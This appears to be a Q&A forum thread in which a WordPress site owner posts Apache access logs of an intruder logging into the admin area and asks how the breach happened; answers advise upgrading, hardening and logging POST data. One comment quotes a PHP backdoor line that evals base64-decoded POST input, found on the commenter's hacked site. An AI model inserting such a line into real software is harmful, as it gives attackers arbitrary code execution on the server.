2

The hack was a failure, as they were not able to put the created page as the home page. But we found recently a manipulated page on our website (via the rss).

So I looked in the Apache2 logs and found the IP which has done this. But I don't understand what did I do. Could you help me to understand this ?

The-IP-of-the-bad-guy - - [23/Jan/2012:00:51:49 +0100] "POST /wp-login.php HTTP/1.1" 302 979 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 ( .NET CLR 3.5.30729; .NET4.0E)"
The-IP-of-the-bad-guy - - [23/Jan/2012:00:51:50 +0100] "GET /wp-admin/ HTTP/1.1" 302 436 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 ( .NET CLR 3.5.30729; .NET4.0E)"
The-IP-of-the-bad-guy - - [23/Jan/2012:00:51:50 +0100] "GET /wp-login.php?redirect_to=http%3A%2F%2Fmy-website.com%2Fwp-admin%2F&reauth=1 HTTP/1.1" 200 6314 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 ( .NET CLR 3.5.30729; .NET4.0E)"
The-IP-of-the-bad-guy - - [23/Jan/2012:19:28:58 +0100] "POST /wp-login.php HTTP/1.1" 200 6010 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 ( .NET CLR 3.5.30729; .NET4.0E)"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:38:59 +0100] "GET /wp-login.php HTTP/1.1" 200 2267 "-" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:38:59 +0100] "GET /wp-admin/css/wp-admin.css?ver=20111208 HTTP/1.1" 200 21939 "http://my-website.com/wp-login.php" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:39:00 +0100] "GET /wp-includes/js/thickbox/thickbox.js?ver=3.1-20111117 HTTP/1.1" 200 4185 "http://my-website.com/wp-login.php" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:39:00 +0100] "GET /wp-includes/js/thickbox/thickbox.css?ver=20111117 HTTP/1.1" 200 1473 "http://my-website.com/wp-login.php" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:39:00 +0100] "GET /wp-content/plugins/google-analyticator/external-tracking.min.js?ver=6.2 HTTP/1.1" 200 842 "http://my-website.com/wp-login.php" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:39:00 +0100] "GET /wp-content/plugins/joliprint/js/wp_joliprint-min.js?ver=1.3.0 HTTP/1.1" 200 1200 "http://my-website.com/wp-login.php" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:39:00 +0100] "GET /wp-includes/js/jquery/jquery.js?ver=1.7.1 HTTP/1.1" 200 33557 "http://my-website.com/wp-login.php" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:39:00 +0100] "GET /wp-admin/css/colors-fresh.css?ver=20111206 HTTP/1.1" 200 6818 "http://my-website.com/wp-login.php" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:39:01 +0100] "GET /wp-admin/images/logo-login.png HTTP/1.1" 200 9240 "http://my-website.com/wp-admin/css/wp-admin.css?ver=20111208" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:39:01 +0100] "GET /wp-admin/images/button-grad.png HTTP/1.1" 200 589 "http://my-website.com/wp-admin/css/colors-fresh.css?ver=20111206" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:39:01 +0100] "GET /wp-includes/js/thickbox/loadingAnimation.gif HTTP/1.1" 200 6235 "http://my-website.com/wp-login.php" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:39:01 +0100] "GET /favicon.ico HTTP/1.1" 200 292 "-" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:39:50 +0100] "GET /wp-admin/images/button-grad-active.png HTTP/1.1" 200 632 "http://my-website.com/wp-admin/css/colors-fresh.css?ver=20111206" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:39:51 +0100] "POST /wp-login.php HTTP/1.1" 302 999 "http://my-website.com/wp-login.php" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:39:51 +0100] "GET /wp-admin/ HTTP/1.1" 200 10632 "http://my-website.com/wp-login.php" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:39:52 +0100] "GET /wp-content/plugins/akismet/akismet.css?ver=2.5.4.4 HTTP/1.1" 200 902 "http://my-website.com/wp-admin/" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:39:52 +0100] "GET /wp-admin/load-styles.php?c=0&dir=ltr&load=admin-bar,wp-admin,wp-pointer&ver=1747f87854de3d4df3fdb74e9ef12757 HTTP/1.1" 200 24054 "http://my-website.com/wp-admin/" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:39:52 +0100] "GET /wp-content/plugins/nextgen-gallery/admin/css/menu.css?ver=3.3.1 HTTP/1.1" 200 638 "http://my-website.com/wp-admin/" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:39:52 +0100] "GET /wp-content/plugins/akismet/akismet.js?ver=2.5.4.6 HTTP/1.1" 200 1909 "http://my-website.com/wp-admin/" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:39:52 +0100] "GET /wp-content/plugins/google-analyticator/jquery.sparkline.min.js?ver=1.5.1 HTTP/1.1" 200 5591 "http://my-website.com/wp-admin/" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:39:52 +0100] "GET /wp-admin/load-scripts.php?c=0&load=jquery,utils&ver=edec3fab0cb6297ea474806db1895fa7 HTTP/1.1" 200 34157 "http://my-website.com/wp-admin/" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:39:52 +0100] "GET /wp-admin/images/media-button.png?ver=20111005 HTTP/1.1" 200 3465 "http://my-website.com/wp-admin/" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:39:52 +0100] "GET /wp-admin/images/wpspin_light.gif HTTP/1.1" 200 2541 "http://my-website.com/wp-admin/" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:39:52 +0100] "GET /wp-admin/load-scripts.php?c=0&load=admin-bar,thickbox,hoverIntent,common,jquery-color,wp-ajax-response,wp-lists,jquery-ui-core,jquery-ui-widget,jquery-ui-mouse,jquery-ui-sortable,postbox,quicktags,jquery-query,admin-comments,dashboard,plugin-install,media-upload,jquery-ui-position,wp-pointer&ver=34baa2862d9a262745d9c88bef79a2b1 HTTP/1.1" 200 34460 "http://my-website.com/wp-admin/" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:39:53 +0100] "GET /wp-admin/images/menu-shadow.png HTTP/1.1" 200 477 "http://my-website.com/wp-admin/css/colors-fresh.css?ver=20111206" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:39:53 +0100] "GET /wp-admin/images/menu.png?ver=20111128 HTTP/1.1" 200 10029 "http://my-website.com/wp-admin/css/colors-fresh.css?ver=20111206" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:39:53 +0100] "GET /wp-admin/images/arrows.png HTTP/1.1" 200 841 "http://my-website.com/wp-admin/css/colors-fresh.css?ver=20111206" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:39:53 +0100] "GET /wp-admin/images/icons32.png?ver=20111206 HTTP/1.1" 200 13791 "http://my-website.com/wp-admin/css/colors-fresh.css?ver=20111206" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:39:53 +0100] "GET /wp-admin/images/white-grad.png HTTP/1.1" 200 556 "http://my-website.com/wp-admin/css/colors-fresh.css?ver=20111206" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:39:53 +0100] "GET /wp-includes/images/admin-bar-sprite.png?d=20111130 HTTP/1.1" 200 4347 "http://my-website.com/wp-admin/load-styles.php?c=0&dir=ltr&load=admin-bar,wp-admin,wp-pointer&ver=1747f87854de3d4df3fdb74e9ef12757" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:39:53 +0100] "POST /wp-admin/admin-ajax.php HTTP/1.1" 200 432 "http://my-website.com/wp-admin/" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:39:53 +0100] "GET /wp-includes/images/icon-pointer-flag.png HTTP/1.1" 200 1130 "http://my-website.com/wp-admin/load-styles.php?c=0&dir=ltr&load=admin-bar,wp-admin,wp-pointer&ver=1747f87854de3d4df3fdb74e9ef12757" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:39:53 +0100] "GET /wp-includes/images/xit.gif HTTP/1.1" 200 528 "http://my-website.com/wp-admin/load-styles.php?c=0&dir=ltr&load=admin-bar,wp-admin,wp-pointer&ver=1747f87854de3d4df3fdb74e9ef12757" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:39:53 +0100] "GET /wp-includes/images/arrow-pointer-blue.png HTTP/1.1" 200 1306 "http://my-website.com/wp-admin/load-styles.php?c=0&dir=ltr&load=admin-bar,wp-admin,wp-pointer&ver=1747f87854de3d4df3fdb74e9ef12757" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:39:53 +0100] "POST /wp-admin/admin-ajax.php HTTP/1.1" 200 1402 "http://my-website.com/wp-admin/" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:39:57 +0100] "GET /wp-admin/tools.php HTTP/1.1" 200 6074 "http://my-website.com/wp-admin/" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:39:58 +0100] "GET /wp-admin/load-styles.php?c=0&dir=ltr&load=admin-bar,wp-admin&ver=7f0753feec257518ac1fec83d5bced6a HTTP/1.1" 200 23518 "http://my-website.com/wp-admin/tools.php" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:39:58 +0100] "GET /wp-admin/load-scripts.php?c=0&load=admin-bar,thickbox,hoverIntent,common,jquery-color,wp-ajax-response,wp-lists,jquery-ui-core,jquery-ui-widget,jquery-ui-mouse,jquery-ui-sortable,postbox,media-upload&ver=29164086bcacfd9628adb3ba7e6061c9 HTTP/1.1" 200 22963 "http://my-website.com/wp-admin/tools.php" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:39:58 +0100] "GET /wp-admin/images/press-this.png HTTP/1.1" 200 1165 "http://my-website.com/wp-admin/load-styles.php?c=0&dir=ltr&load=admin-bar,wp-admin&ver=7f0753feec257518ac1fec83d5bced6a" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:39:58 +0100] "POST /wp-admin/admin-ajax.php HTTP/1.1" 200 432 "http://my-website.com/wp-admin/tools.php" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:40:01 +0100] "GET /wp-admin/edit-comments.php HTTP/1.1" 200 17215 "http://my-website.com/wp-admin/tools.php" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:40:02 +0100] "GET /wp-content/plugins/subscribe-to-comments-reloaded/post-and-comments.css?ver=3.3.1 HTTP/1.1" 200 540 "http://my-website.com/wp-admin/edit-comments.php" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:40:02 +0100] "GET /wp-content/plugins/subscribe-to-comments-reloaded/images/subscribe-to-comments-small.png HTTP/1.1" 200 1818 "http://my-website.com/wp-admin/edit-comments.php" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:40:02 +0100] "GET /wp-includes/images/smilies/icon_wink.gif HTTP/1.1" 200 516 "http://my-website.com/wp-admin/edit-comments.php" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:40:02 +0100] "GET /wp-includes/css/editor-buttons.css?ver=20111114 HTTP/1.1" 200 6619 "http://my-website.com/wp-admin/edit-comments.php" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:40:02 +0100] "GET /wp-admin/load-styles.php?c=0&dir=ltr&load=wp-jquery-ui-dialog&ver=3e676db9ea65504c756e11cf9a70be9e HTTP/1.1" 200 1429 "http://my-website.com/wp-admin/edit-comments.php" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:40:02 +0100] "GET /wp-includes/images/smilies/icon_smile.gif HTTP/1.1" 200 521 "http://my-website.com/wp-admin/edit-comments.php" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:40:02 +0100] "GET /wp-admin/images/menu-bits.gif?ver=20100610 HTTP/1.1" 200 1487 "http://my-website.com/wp-admin/css/colors-fresh.css?ver=20111206" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:40:02 +0100] "GET /wp-admin/images/bubble_bg.gif HTTP/1.1" 200 742 "http://my-website.com/wp-admin/css/colors-fresh.css?ver=20111206" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:40:02 +0100] "GET /wp-admin/load-scripts.php?c=0&load=admin-bar,thickbox,hoverIntent,common,jquery-color,wp-ajax-response,wp-lists,jquery-ui-core,jquery-ui-widget,jquery-ui-mouse,jquery-ui-sortable,postbox,quicktags,jquery-query,admin-comments,media-upload,word-count,jquery-ui-resizable,jquery-ui-draggable,jquery-ui-button,jquery-ui-position,jquery-ui-dialog,wpdialogs,wplink,wpdialogs-popup&ver=d340fd552393b5ce31a5bf215e6761b1 HTTP/1.1" 200 50472 "http://my-website.com/wp-admin/edit-comments.php" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:40:02 +0100] "POST /wp-admin/admin-ajax.php HTTP/1.1" 200 432 "http://my-website.com/wp-admin/edit-comments.php" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:40:12 +0100] "GET /wp-admin/edit.php HTTP/1.1" 200 15549 "http://my-website.com/wp-admin/edit-comments.php" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:40:13 +0100] "GET /wp-includes/images/blank.gif HTTP/1.1" 200 388 "http://my-website.com/wp-admin/edit.php" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:40:13 +0100] "GET /wp-admin/images/comment-grey-bubble.png HTTP/1.1" 200 504 "http://my-website.com/wp-admin/edit.php" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:40:13 +0100] "GET /wp-admin/images/list.png HTTP/1.1" 200 1452 "http://my-website.com/wp-admin/css/colors-fresh.css?ver=20111206" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:40:13 +0100] "GET /wp-admin/load-scripts.php?c=0&load=admin-bar,thickbox,hoverIntent,common,jquery-color,wp-ajax-response,wp-lists,jquery-ui-core,jquery-ui-widget,jquery-ui-mouse,jquery-ui-sortable,postbox,suggest,inline-edit-post,media-upload&ver=4f3c823d59bcbf4c7a95fc1bf0635c82 HTTP/1.1" 200 26034 "http://my-website.com/wp-admin/edit.php" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
The-IP-of-the-bad-guy - - [25/Jan/2012:16:40:13 +0100] "POST /wp-admin/admin-ajax.php HTTP/1.1" 200 432 "http://my-website.com/wp-admin/edit.php" "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"

Complete log: http://pastebin.com/2NLdc4uV

Improve this question
1
  • I had my wordpress hacked too. I noticed they edited one of my files and added this line: <?php if ($_POST["php"]){eval(base64_decode($_POST["php"]));exit;} ?> Which as you can see allows the hacker to run any code he wants!
    – user10210
    Commented May 25, 2012 at 22:58

2 Answers 2

Reset to default
4

In addition to changing apache to additionally log POST data, make sure you are using the latest version of wordpress and not using any plugins with known exploits.

Additionally see wordpress for advice on hardening and what to do when hacked (upgrade, change passwords, check for vulnerabilities, etc.)

Improve this answer
3

I'm guessing that whatever issues came up were presented in the POST /wp-login.php entry. After that, your attacker's IP seems to have access. Default Apache setups don't log POST data, so it may not be possible to recover the requests that were made without repairing the instance and logging that data to see if it happens again.

Improve this answer

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .